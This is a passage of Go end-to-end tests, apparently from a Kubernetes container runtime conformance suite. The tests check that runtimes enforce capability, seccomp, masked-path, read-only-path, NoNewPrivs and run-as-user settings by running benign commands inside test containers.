time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\t\t\tBy(\"check the Privileged container\")\n\t\t\tcheckNetworkManagement(rc, containerID, notPrivileged)\n\t\t})\n\n\t\tIt(\"runtime should support adding capability\", func() {\n\t\t\tBy(\"create pod\")\n\t\t\tpodID, podConfig = framework.CreatePodSandboxForContainer(rc)\n\n\t\t\tBy(\"create container with security context Capability and test\")\n\t\t\tcontainerID := createCapabilityContainer(rc, ic, podID, podConfig, \"container-with-added-capability-test-\", []string{\"NET_ADMIN\"}, nil)\n\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\t\t\tcheckNetworkManagement(rc, containerID, true)\n\n\t\t\tBy(\"create container without security context Capability and test\")\n\t\t\tcontainerID = framework.CreateDefaultContainer(rc, ic, podID, podConfig, \"container-with-notCapability-test-\")\n\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\t\t\tcheckNetworkManagement(rc, containerID, false)\n\t\t})\n\n\t\tIt(\"runtime should support dropping capability\", func() {\n\t\t\tBy(\"create pod\")\n\t\t\tpodID, podConfig = framework.CreatePodSandboxForContainer(rc)\n\n\t\t\tBy(\"create container with security context Capability and test\")\n\t\t\tcontainerID := createCapabilityContainer(rc, ic, podID, podConfig, \"container-with-dropped-capability-test-\", nil, []string{\"NET_RAW\"})\n\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\t\t\tstdout, stderr, err := rc.ExecSync(\n\t\t\t\tcontainerID, []string{\"ping\", \"127.0.0.1\"},\n\t\t\t\ttime.Duration(defaultExecSyncTimeout)*time.Second,\n\t\t\t)\n\t\t\tExpect(err).NotTo(BeNil())\n\t\t\tExpect(string(stdout)).NotTo(BeEmpty())\n\t\t\tExpect(string(stderr)).To(ContainSubstring(\"permission denied\"))\n\t\t})\n\n\t\tIt(\"runtime should support adding ALL capabilities\", func() {\n\t\t\tBy(\"create pod\")\n\t\t\tpodID, podConfig = framework.CreatePodSandboxForContainer(rc)\n\n\t\t\tBy(\"create container with security context Capability and test\")\n\t\t\tcontainerID := createCapabilityContainer(rc, ic, podID, podConfig, \"container-with-added-all-capability-test-\", []string{\"ALL\"}, nil)\n\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\t\t\tstdout, stderr, err := rc.ExecSync(\n\t\t\t\tcontainerID, []string{\"cat\", \"/proc/self/status\"},\n\t\t\t\ttime.Duration(defaultExecSyncTimeout)*time.Second,\n\t\t\t)\n\t\t\tExpect(err).To(BeNil())\n\t\t\tExpect(string(stderr)).To(BeEmpty())\n\t\t\tExpect(string(stdout)).NotTo(MatchRegexp(`CapBnd:\\s0000000000000000`))\n\t\t})\n\n\t\tIt(\"runtime should support dropping ALL capabilities\", func() {\n\t\t\tBy(\"create pod\")\n\t\t\tpodID, podConfig = framework.CreatePodSandboxForContainer(rc)\n\n\t\t\tBy(\"create container with security context Capability and test\")\n\t\t\tcontainerID := createCapabilityContainer(rc, ic, podID, podConfig, \"container-with-dropped-all-capability-test-\", nil, []string{\"ALL\"})\n\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\t\t\tstdout, stderr, err := rc.ExecSync(\n\t\t\t\tcontainerID, []string{\"cat\", \"/proc/self/status\"},\n\t\t\t\ttime.Duration(defaultExecSyncTimeout)*time.Second,\n\t\t\t)\n\t\t\tExpect(err).To(BeNil())\n\t\t\tExpect(string(stderr)).To(BeEmpty())\n\t\t\tExpect(string(stdout)).To(MatchRegexp(`CapBnd:\\s0000000000000000`))\n\t\t})\n\n\t\tIt(\"runtime should support MaskedPaths\", func() {\n\t\t\tBy(\"create pod\")\n\t\t\tpodID, podConfig = framework.CreatePodSandboxForContainer(rc)\n\n\t\t\tBy(\"create container with MaskedPaths\")\n\t\t\tcontainerName := \"container-with-maskedpaths\" + framework.NewUUID()\n\t\t\tcontainerConfig := &runtimeapi.ContainerConfig{\n\t\t\t\tMetadata: framework.BuildContainerMetadata(containerName, framework.DefaultAttempt),\n\t\t\t\tImage: &runtimeapi.ImageSpec{Image: framework.TestContext.TestImageList.DefaultTestContainerImage},\n\t\t\t\tCommand: pauseCmd,\n\t\t\t\tLinux: &runtimeapi.LinuxContainerConfig{\n\t\t\t\t\tSecurityContext: &runtimeapi.LinuxContainerSecurityContext{\n\t\t\t\t\t\tMaskedPaths: []string{\"/bin/ls\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\n\t\t\tcontainerID := framework.CreateContainer(rc, ic, containerConfig, podID, podConfig)\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\t\t\tcmd := []string{\"/bin/sh\", \"-c\", \"ls\"}\n\t\t\t_, stderr, err := rc.ExecSync(containerID, cmd, time.Duration(defaultExecSyncTimeout)*time.Second)\n\t\t\tExpect(err).To(HaveOccurred())\n\t\t\tExpect(string(stderr)).To(Equal(\"/bin/sh: ls: Permission denied\\n\"))\n\t\t})\n\n\t\tIt(\"runtime should support ReadonlyPaths\", func() {\n\t\t\tBy(\"create pod\")\n\t\t\tpodID, podConfig = framework.CreatePodSandboxForContainer(rc)\n\n\t\t\tBy(\"create container with ReadonlyPaths\")\n\t\t\tcontainerName := \"container-with-readonlypaths\" + framework.NewUUID()\n\t\t\tcontainerConfig := &runtimeapi.ContainerConfig{\n\t\t\t\tMetadata: framework.BuildContainerMetadata(containerName, framework.DefaultAttempt),\n\t\t\t\tImage: &runtimeapi.ImageSpec{Image: framework.TestContext.TestImageList.DefaultTestContainerImage},\n\t\t\t\tCommand: pauseCmd,\n\t\t\t\tLinux: &runtimeapi.LinuxContainerConfig{\n\t\t\t\t\tSecurityContext: &runtimeapi.LinuxContainerSecurityContext{\n\t\t\t\t\t\tReadonlyPaths: []string{\"/tmp\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\n\t\t\tcontainerID := framework.CreateContainer(rc, ic, containerConfig, podID, podConfig)\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\t\t\tcmd := []string{\"touch\", \"/tmp/test\"}\n\t\t\t_, stderr, err := rc.ExecSync(containerID, cmd, time.Duration(defaultExecSyncTimeout)*time.Second)\n\t\t\tExpect(err).To(HaveOccurred())\n\t\t\tExpect(string(stderr)).To(Equal(\"touch: /tmp/test: Read-only file system\\n\"))\n\t\t})\n\t})\n\n\t// TODO(random-liu): We should set apparmor to unconfined in seccomp test to prevent\n\t// them from interfering with each other.\n\tContext(\"SeccompProfilePath\", func() {\n\t\tconst (\n\t\t\t// profile which denies sethostname syscall\n\t\t\tseccompBlockHostNameProfile = `{\n \"defaultAction\": \"SCMP_ACT_ALLOW\",\n \"syscalls\": [\n {\n \"names\": [\"sethostname\"],\n \"action\": \"SCMP_ACT_ERRNO\"\n }\n ]\n}`\n\t\t\t// profile which denies chmod syscall\n\t\t\tseccompBlockChmodProfile = `{\n \"defaultAction\": \"SCMP_ACT_ALLOW\",\n \"syscalls\": [\n {\n \"names\": [\"chmod\", \"fchmodat\"],\n \"action\": \"SCMP_ACT_ERRNO\"\n }\n ]\n}`\n\t\t)\n\t\tvar profileDir, blockHostNameProfilePath, blockchmodProfilePath string\n\t\tvar err error\n\t\tsysAdminCap := []string{\"SYS_ADMIN\"}\n\n\t\tBeforeEach(func() {\n\t\t\tprofileDir, err = createSeccompProfileDir()\n\t\t\tif err != nil {\n\t\t\t\tExpect(err).NotTo(HaveOccurred(), fmt.Sprintf(\"Failed creating seccomp profile directory: %v\", err))\n\t\t\t\treturn\n\t\t\t}\n\t\t\tdirToCleanup = append(dirToCleanup, profileDir)\n\t\t\tblockHostNameProfilePath, err = createSeccompProfile(seccompBlockHostNameProfile, \"block-host-name.json\", profileDir)\n\t\t\tif err != nil {\n\t\t\t\tExpect(err).NotTo(HaveOccurred(), fmt.Sprintf(\"Failed creating seccomp block hostname profile: %v\", err))\n\t\t\t\treturn\n\t\t\t}\n\t\t\tblockchmodProfilePath, err = createSeccompProfile(seccompBlockChmodProfile, \"block-chmod.json\", profileDir)\n\t\t\tif err != nil {\n\t\t\t\tExpect(err).NotTo(HaveOccurred(), fmt.Sprintf(\"Failed creating seccomp block chmod profile: %v\", err))\n\t\t\t\treturn\n\t\t\t}\n\t\t})\n\n\t\tIt(\"should support seccomp unconfined on the container\", func() {\n\t\t\tvar containerID string\n\t\t\tseccompProfile := \"unconfined\"\n\n\t\t\tBy(\"create seccomp sandbox and container\")\n\t\t\tpodID, containerID = seccompTestContainer(rc, ic, seccompProfile)\n\n\t\t\tBy(\"verify seccomp profile\")\n\t\t\tverifySeccomp(rc, containerID, []string{\"grep\", \"ecc\", \"/proc/self/status\"}, false, \"0\") // seccomp disabled\n\t\t})\n\n\t\tIt(\"should support seccomp localhost/profile on the container\", func() {\n\t\t\tvar containerID string\n\n\t\t\tBy(\"create seccomp sandbox and container\")\n\t\t\tpodID, containerID = seccompTestContainer(rc, ic, localhost+blockchmodProfilePath)\n\n\t\t\tBy(\"verify seccomp profile\")\n\t\t\tverifySeccomp(rc, containerID, []string{\"chmod\", \"400\", \"/\"}, true, \"Operation not permitted\") // seccomp denied\n\t\t})\n\n\t\tIt(\"should support seccomp default which is unconfined on the container\", func() {\n\t\t\tvar containerID string\n\t\t\tseccompProfile := \"\"\n\n\t\t\tBy(\"create seccomp sandbox and container\")\n\t\t\tpodID, containerID = seccompTestContainer(rc, ic, seccompProfile)\n\n\t\t\tBy(\"verify seccomp profile\")\n\t\t\tverifySeccomp(rc, containerID, []string{\"grep\", \"ecc\", \"/proc/self/status\"}, false, \"0\") // seccomp disabled\n\t\t})\n\n\t\t// SYS_ADMIN capability allows sethostname, and seccomp is unconfined. sethostname should work.\n\t\tIt(\"runtime should not block setting host name with unconfined seccomp and SYS_ADMIN\", func() {\n\t\t\tprivileged := false\n\t\t\texpectContainerCreateToPass := true\n\t\t\tBy(\"create pod\")\n\t\t\tpodID, podConfig = framework.CreatePodSandboxForContainer(rc)\n\t\t\tBy(\"create container with seccompBlockHostNameProfile and test\")\n\t\t\tcontainerID := createSeccompContainer(rc, ic, podID, podConfig,\n\t\t\t\t\"container-with-block-hostname-seccomp-profile-test-\",\n\t\t\t\t\"unconfined\", sysAdminCap, privileged, expectContainerCreateToPass)\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\t\t\tcheckSetHostname(rc, containerID, true)\n\t\t})\n\n\t\t// SYS_ADMIN capability allows sethostname, but seccomp profile should be able to block it.\n\t\tIt(\"runtime should support an seccomp profile that blocks setting hostname with SYS_ADMIN\", func() {\n\t\t\tprivileged := false\n\t\t\texpectContainerCreateToPass := true\n\t\t\tBy(\"create pod\")\n\t\t\tpodID, podConfig = framework.CreatePodSandboxForContainer(rc)\n\t\t\tBy(\"create container with seccompBlockHostNameProfile and test\")\n\t\t\tcontainerID := createSeccompContainer(rc, ic, podID, podConfig,\n\t\t\t\t\"container-with-block-hostname-seccomp-profile-test-\",\n\t\t\t\tlocalhost+blockHostNameProfilePath, sysAdminCap, privileged, expectContainerCreateToPass)\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\t\t\tcheckSetHostname(rc, containerID, false)\n\t\t})\n\n\t\tIt(\"runtime should not support a custom seccomp profile without using localhost/ as a prefix\", func() {\n\t\t\tprivileged := false\n\t\t\texpectContainerCreateToPass := false\n\t\t\tBy(\"create pod\")\n\t\t\tpodID, podConfig = framework.CreatePodSandboxForContainer(rc)\n\t\t\tBy(\"create container with seccompBlockHostNameProfile and test\")\n\t\t\t_ = createSeccompContainer(rc, ic, podID, podConfig,\n\t\t\t\t\"container-with-block-hostname-seccomp-profile-test-\",\n\t\t\t\tblockHostNameProfilePath, nil, privileged, expectContainerCreateToPass)\n\t\t})\n\n\t\tIt(\"runtime should ignore a seccomp profile that blocks setting hostname when privileged\", func() {\n\t\t\tprivileged := true\n\t\t\texpectContainerCreateToPass := true\n\t\t\tBy(\"create privileged pod\")\n\t\t\tpodID, podConfig = createPrivilegedPodSandbox(rc, true)\n\t\t\tBy(\"create privileged container with seccompBlockHostNameProfile and test\")\n\t\t\tcontainerID := createSeccompContainer(rc, ic, podID, podConfig,\n\t\t\t\t\"container-with-block-hostname-seccomp-profile-test-\",\n\t\t\t\tlocalhost+blockHostNameProfilePath, nil, privileged, expectContainerCreateToPass)\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\t\t\tcheckSetHostname(rc, containerID, true)\n\t\t})\n\n\t\tContext(\"docker/default\", func() {\n\t\t\tIt(\"should support seccomp docker/default on the container\", func() {\n\t\t\t\tvar containerID string\n\t\t\t\tseccompProfile := \"docker/default\"\n\n\t\t\t\tBy(\"create seccomp sandbox and container\")\n\t\t\t\tpodID, containerID = seccompTestContainer(rc, ic, seccompProfile)\n\n\t\t\t\tBy(\"verify seccomp profile\")\n\t\t\t\tverifySeccomp(rc, containerID, []string{\"grep\", \"ecc\", \"/proc/self/status\"}, false, \"2\") // seccomp filtered\n\t\t\t})\n\n\t\t\tIt(\"runtime should support setting hostname with docker/default seccomp profile and SYS_ADMIN\", func() {\n\t\t\t\tprivileged := false\n\t\t\t\texpectContainerCreateToPass := true\n\t\t\t\tBy(\"create pod\")\n\t\t\t\tpodID, podConfig = framework.CreatePodSandboxForContainer(rc)\n\t\t\t\tBy(\"create container with docker/default seccomp profile and test\")\n\t\t\t\tcontainerID := createSeccompContainer(rc, ic, podID, podConfig,\n\t\t\t\t\t\"container-with-dockerdefault-seccomp-profile-test-\", \"docker/default\", sysAdminCap, privileged, expectContainerCreateToPass)\n\t\t\t\tstartContainer(rc, containerID)\n\t\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\t\t\t\tcheckSetHostname(rc, containerID, true)\n\t\t\t})\n\n\t\t\tIt(\"runtime should block sethostname with docker/default seccomp profile and no extra caps\", func() {\n\t\t\t\tprivileged := false\n\t\t\t\texpectContainerCreateToPass := true\n\t\t\t\tBy(\"create pod\")\n\t\t\t\tpodID, podConfig = framework.CreatePodSandboxForContainer(rc)\n\t\t\t\tBy(\"create container with docker/default seccomp profile and test\")\n\t\t\t\tcontainerID := createSeccompContainer(rc, ic, podID, podConfig,\n\t\t\t\t\t\"container-with-dockerdefault-seccomp-profile-test-\", \"docker/default\", nil, privileged, expectContainerCreateToPass)\n\t\t\t\tstartContainer(rc, containerID)\n\t\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\t\t\t\tcheckSetHostname(rc, containerID, false)\n\t\t\t})\n\t\t})\n\t})\n\n\tContext(\"NoNewPrivs\", func() {\n\t\tBeforeEach(func() {\n\t\t\tpodID, podConfig, podLogDir = createPodSandboxWithLogDirectory(rc)\n\t\t})\n\n\t\tcreateContainerWithNoNewPrivs := func(name string, noNewPrivs bool, uid int64) string {\n\t\t\tBy(fmt.Sprintf(\"create container %s\", name))\n\t\t\tcontainerConfig := &runtimeapi.ContainerConfig{\n\t\t\t\tMetadata: framework.BuildContainerMetadata(name, framework.DefaultAttempt),\n\t\t\t\tImage: &runtimeapi.ImageSpec{Image: noNewPrivsImage},\n\t\t\t\tLinux: &runtimeapi.LinuxContainerConfig{\n\t\t\t\t\tSecurityContext: &runtimeapi.LinuxContainerSecurityContext{\n\t\t\t\t\t\tNoNewPrivs: noNewPrivs,\n\t\t\t\t\t\tRunAsUser: &runtimeapi.Int64Value{\n\t\t\t\t\t\t\tValue: uid,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tLogPath: fmt.Sprintf(\"%s.log\", name),\n\t\t\t}\n\t\t\tcontainerID := framework.CreateContainer(rc, ic, containerConfig, podID, podConfig)\n\n\t\t\t// wait container started and check the status.\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_EXITED))\n\n\t\t\treturn containerID\n\t\t}\n\t\tIt(\"should not allow privilege escalation when true\", func() {\n\t\t\tcontainerName := \"alpine-nnp-true-\" + string(framework.NewUUID())\n\t\t\tcreateContainerWithNoNewPrivs(containerName, true, 1000)\n\t\t\tmatchContainerOutput(podConfig, containerName, \"Effective uid: 1000\\n\")\n\t\t})\n\n\t\tIt(\"should allow privilege escalation when false\", func() {\n\t\t\tcontainerName := \"alpine-nnp-false-\" + string(framework.NewUUID())\n\t\t\tcreateContainerWithNoNewPrivs(containerName, false, 1000)\n\t\t\tmatchContainerOutput(podConfig, containerName, \"Effective uid: 0\\n\")\n\t\t})\n\t})\n})\n\n// matchContainerOutput matches log line in container logs.\nfunc matchContainerOutput(podConfig *runtimeapi.PodSandboxConfig, name, output string) {\n\tBy(\"check container output\")\n\tverifyLogContents(podConfig, fmt.Sprintf(\"%s.log\", name), output, stdoutType)\n}\n\n// createRunAsUserContainer creates the container with specified RunAsUser in ContainerConfig.\nfunc createRunAsUserContainer(rc internalapi.RuntimeService, ic internalapi.ImageManagerService, podID string, podConfig *runtimeapi.PodSandboxConfig, prefix string) (string, string) {\n\tBy(\"create RunAsUser container\")\n\tvar uidV runtimeapi.Int64Value\n\tuidV.Value = 1001\n\texpectedLogMessage := \"1001\\n\"\n\n\tBy(\"create a container with RunAsUser\")\n\tcontainerName := prefix + framework.NewUUID()\n\tcontainerConfig := &runtimeapi.ContainerConfig{\n\t\tMetadata: framework.BuildContainerMetadata(containerName, framework.DefaultAttempt),\n\t\tImage: &runtimeapi.ImageSpec{Image: framework.TestContext.TestImageList.DefaultTestContainerImage},\n\t\tCommand: pauseCmd,\n\t\tLinux: &runtimeapi.LinuxContainerConfig{\n\t\t\tSecurityContext: &runtimeapi.LinuxContainerSecurityContext{\n\t\t\t\tRunAsUser: &uidV,\n\t\t\t},\n\t\t},\n\t}\n\n\treturn framework.CreateContainer(rc, ic, containerConfig, podID, podConfig), expectedLogMessage\n}\n\n// createRunAsUserNameContainer creates the container with specified RunAsUserName in ContainerConfig.\nfunc createRunAsUserNameContainer(rc internalapi.RuntimeService, ic internalapi.ImageManagerService, podID string, podConfig *runtimeapi.PodSandboxConfig, prefix string) (string, string) {\n\tBy(\"create RunAsUserName container\")\n\tuserName := \"nobody\"\n\texpectedLogMessage := userName + \"\\n\"\n\n\tBy(\"create a container with RunAsUserName\")\n\tcontainerName := prefix + framework.NewUUID()\n\tcontainerConfig := &runtimeapi.ContainerConfig{\n\t\tMetadata: framework.BuildContainerMetadata(containerName, framework.DefaultAttempt),\n\t\tImage: &runtimeapi.ImageSpec{Image: framework.TestContext.TestImageList.DefaultTestContainerImage},\n\t\tCommand: pauseCmd,\n\t\tLinux: &runtimeapi.LinuxContainerConfig{\n\t\t\tSecurityContext: &runtimeapi.LinuxContainerSecurityContext{\n\t\t\t\tRunAsUsername: userName,\n\t\t\t},\n\t\t},\n\t}\n\treturn framework.CreateContainer(rc, ic, containerConfig, podID, podConfig), expectedLogMessage\n}\n\n// createRunAsGroupContainer creates the container with specified RunAsGroup in ContainerConfig.\nfunc createRunAsGroupContainer(rc internalapi.RuntimeService, ic internalapi.ImageManagerService, podID string, podConfig *runtimeapi.PodSandboxConfig, containerName string) (string, string) {\n\tBy(\"create RunAsGroup container\")\n\tvar uidV, gidV runtimeapi.Int64Value\n\tuidV.Value = 1001\n\tgidV.Value = 1002\n\texpectedLogMessage := \"1001:1002\\n\"\n\n\tBy(\"create a container with RunAsUser and RunAsGroup\")\n\tcontainerConfig := &runtimeapi.ContainerConfig{\n\t\tMetadata: framework.BuildContainerMetadata(containerName, framework.DefaultAttempt),\n\t\tImage: &runtimeapi.ImageSpec{Image: framework.TestContext.TestImageList.DefaultTestContainerImage},\n\t\tCommand: []string{\"sh\", \"-c\", \"echo $(id -u):$(id -g)\"},\n\t\tLinux: &runtimeapi.LinuxContainerConfig{\n\t\t\tSecurityContext: &runtimeapi.LinuxContainerSecurityContext{\n\t\t\t\tRunAsUser: &uidV,\n\t\t\t\tRunAsGroup: &gidV,\n\t\t\t},\n\t\t},\n\t\tLogPath: fmt.Sprintf(\"%s.log\", containerName),\n\t}\n\treturn framework.CreateContainer(rc, ic, containerConfig, podID, podConfig), expectedLogMessage\n}\n\n// createInvalidRunAsGroupContainer creates the container with specified RunAsGroup without\n// RunAsUser specified in ContainerConfig.\nfunc createInvalidRunAsGroupContainer(rc internalapi.RuntimeService, ic internalapi.ImageManagerService, podID string, podConfig *runtimeapi.PodSandboxConfig, containerName string) {\n\tBy(\"create invalid RunAsGroup container\")\n\tvar gidV runtimeapi.Int64Value\n\tgidV.Value = 1002\n\n\tBy(\"create a container with RunAsGroup without RunAsUser\")\n\tcontainerConfig := &runtimeapi.ContainerConfig{\n\t\tMetadata: framework.BuildContainerMetadata(containerName, framework.DefaultAttempt),\n\t\tImage: &runtimeapi.ImageSpec{Image: framework.TestContext.TestImageList.DefaultTestContainerImage},\n\t\tCommand: []string{\"sh\", \"-c\", \"echo $(id -u):$(id -g)\"},\n\t\tLinux: &runtimeapi.LinuxContainerConfig{\n\t\t\tSecurityContext: &runtimeapi.LinuxContainerSecurityContext{\n\t\t\t\tRunAsGroup: &gidV,\n\t\t\t},\n\t\t},\n\t}\n\t_, err := framework.CreateContainerWithError(rc, ic, containerConfig, podID, podConfig)\n\tExpect(err).To(HaveOccurred())\n}\n\n// createNamespacePodSandbox creates a PodSandbox with different NamespaceOption config for creating containers.\nfunc createNamespacePodSandbox(rc internalapi.RuntimeService, podSandboxNamespace *runtimeapi.NamespaceOption, podSandboxName string, podLogPath string) (string, *runtimeapi.PodSandboxConfig) {\n\tBy(\"create NamespaceOption podSandbox\")\n\tuid := framework.DefaultUIDPrefix + framework.NewUUID()\n\tnamespace := framework.DefaultNamespacePrefix + framework.NewUUID()\n\tconfig := &runtimeapi.PodSandboxConfig{\n\t\tMetadata: framework.BuildPodSandboxMetadata(podSandboxName, uid, namespace, framework.DefaultAttempt),\n\t\tLinux: &runtimeapi.LinuxPodSandboxConfig{\n\t\t\tSecurityContext: &runtimeapi.LinuxSandboxSecurityContext{\n\t\t\t\tNamespaceOptions: podSandboxNamespace,\n\t\t\t},\n\t\t},\n\t\tLogDirectory: podLogPath,\n\t\tLabels: framework.DefaultPodLabels,\n\t}\n\n\treturn framework.RunPodSandbox(rc, config), config\n}\n\n// createNamespaceContainer creates container with different NamespaceOption config.\nfunc createNamespaceContainer(rc internalapi.RuntimeService, ic internalapi.ImageManagerService, podID string, podConfig *runtimeapi.PodSandboxConfig, containerName string, image string, containerNamespace *runtimeapi.NamespaceOption, command []string, path string) (string, string, string) {\n\tBy(\"create NamespaceOption container\")\n\tcontainerConfig := &runtimeapi.ContainerConfig{\n\t\tMetadata: framework.BuildContainerMetadata(containerName, framework.DefaultAttempt),\n\t\tImage: &runtimeapi.ImageSpec{Image: image},\n\t\tCommand: command,\n\t\tLinux: &runtimeapi.LinuxContainerConfig{\n\t\t\tSecurityContext: &runtimeapi.LinuxContainerSecurityContext{\n\t\t\t\tNamespaceOptions: containerNamespace,\n\t\t\t},\n\t\t},\n\t\tLogPath: path,\n\t}\n\n\treturn framework.CreateContainer(rc, ic, containerConfig, podID, podConfig), containerName, containerConfig.LogPath\n\n}\n\n// createReadOnlyRootfsContainer creates the container with specified ReadOnlyRootfs in ContainerConfig.\nfunc createReadOnlyRootfsContainer(rc internalapi.RuntimeService, ic internalapi.ImageManagerService, podID string, podConfig *runtimeapi.PodSandboxConfig, prefix string, readonly bool) (string, string) {\n\tBy(\"create ReadOnlyRootfs container\")\n\tcontainerName := prefix + framework.NewUUID()\n\tpath := fmt.Sprintf(\"%s.log\", containerName)\n\tcontainerConfig := &runtimeapi.ContainerConfig{\n\t\tMetadata: framework.BuildContainerMetadata(containerName, framework.DefaultAttempt),\n\t\tImage: &runtimeapi.ImageSpec{Image: framework.TestContext.TestImageList.DefaultTestContainerImage},\n\t\tCommand: []string{\"sh\", \"-c\", \"touch test.go && [ -f test.go ] && echo 'Found'\"},\n\t\tLinux: &runtimeapi.LinuxContainerConfig{\n\t\t\tSecurityContext: &runtimeapi.LinuxContainerSecurityContext{\n\t\t\t\tReadonlyRootfs: readonly,\n\t\t\t},\n\t\t},\n\t\tLogPath: path,\n\t}\n\n\treturn containerConfig.LogPath, framework.CreateContainer(rc, ic, containerConfig, podID, podConfig)\n}\n\n// checkRootfs checks whether the rootfs parameter of the ContainerConfig is working properly.\nfunc checkRootfs(podConfig *runtimeapi.PodSandboxConfig, logpath string, readOnlyRootfs bool) {\n\tif readOnlyRootfs {\n\t\tfailLog := \"touch: test.go: Read-only file system\"\n\t\texpectedLogMessage := failLog + \"\\n\"\n\t\tverifyLogContents(podConfig, logpath, expectedLogMessage, stderrType)\n\t} else {\n\t\tsuccessLog := \"Found\"\n\t\texpectedLogMessage := successLog + \"\\n\"\n\t\tverifyLogContents(podConfig, logpath, expectedLogMessage, stdoutType)\n\t}\n}\n\n// createPrivilegedPodSandbox creates a PodSandbox with Privileged of SecurityContext config.\nfunc createPrivilegedPodSandbox(rc internalapi.RuntimeService, privileged bool) (string, *runtimeapi.PodSandboxConfig) {\n\tBy(\"create Privileged podSandbox\")\n\tpodSandboxName := \"create-Privileged-PodSandbox-for-container-\" + framework.NewUUID()\n\tuid := framework.DefaultUIDPrefix + framework.NewUUID()\n\tnamespace := framework.DefaultNamespacePrefix + framework.NewUUID()\n\tconfig := &runtimeapi.PodSandboxConfig{\n\t\tMetadata: framework.BuildPodSandboxMetadata(podSandboxName, uid, namespace, framework.DefaultAttempt),\n\t\tLinux: &runtimeapi.LinuxPodSandboxConfig{\n\t\t\tSecurityContext: &runtimeapi.LinuxSandboxSecurityContext{\n\t\t\t\tPrivileged: privileged,\n\t\t\t},\n\t\t},\n\t\tLabels: framework.DefaultPodLabels,\n\t}\n\n\treturn framework.RunPodSandbox(rc, config), config\n}\n\n// createPrivilegedContainer creates container with specified Privileged in ContainerConfig.\nfunc createPrivilegedContainer(rc internalapi.RuntimeService, ic internalapi.ImageManagerService, podID string, podConfig *runtimeapi.PodSandboxConfig, prefix string, privileged bool) string {\n\tBy(\"create Privileged container\")\n\tcontainerName := prefix + framework.NewUUID()\n\tcontainerConfig := &runtimeapi.ContainerConfig{\n\t\tMetadata: framework.BuildContainerMetadata(containerName, framework.DefaultAttempt),\n\t\tImage: &runtimeapi.ImageSpec{Image: framework.TestContext.TestImageList.DefaultTestContainerImage},\n\t\tCommand: pauseCmd,\n\t\tLinux: &runtimeapi.LinuxContainerConfig{\n\t\t\tSecurityContext: &runtimeapi.LinuxContainerSecurityContext{\n\t\t\t\tPrivileged: privileged,\n\t\t\t},\n\t\t},\n\t}\n\n\treturn framework.CreateContainer(rc, ic, containerConfig, podID, podConfig)\n}\n\n// checkNetworkManagement checks the container's network management works fine.\nfunc checkNetworkManagement(rc internalapi.RuntimeService, containerID string, manageable bool) {\n\tcmd := []string{\"brctl\", \"addbr\", \"foobar\"}\n\n\tstdout, stderr, err := rc.ExecSync(containerID, cmd, time.Duration(defaultExecSyncTimeout)*time.Second)\n\tmsg := fmt.Sprintf(\"cmd %v, stdout %q, stderr %q\", cmd, stdout, stderr)\n\n\tif manageable {\n\t\tExpect(err).NotTo(HaveOccurred(), msg)\n\t} else {\n\t\tExpect(err).To(HaveOccurred(), msg)\n\t}\n}\n\n// createCapabilityContainer creates container with specified Capability in ContainerConfig.\nfunc createCapabilityContainer(rc internalapi.RuntimeService, 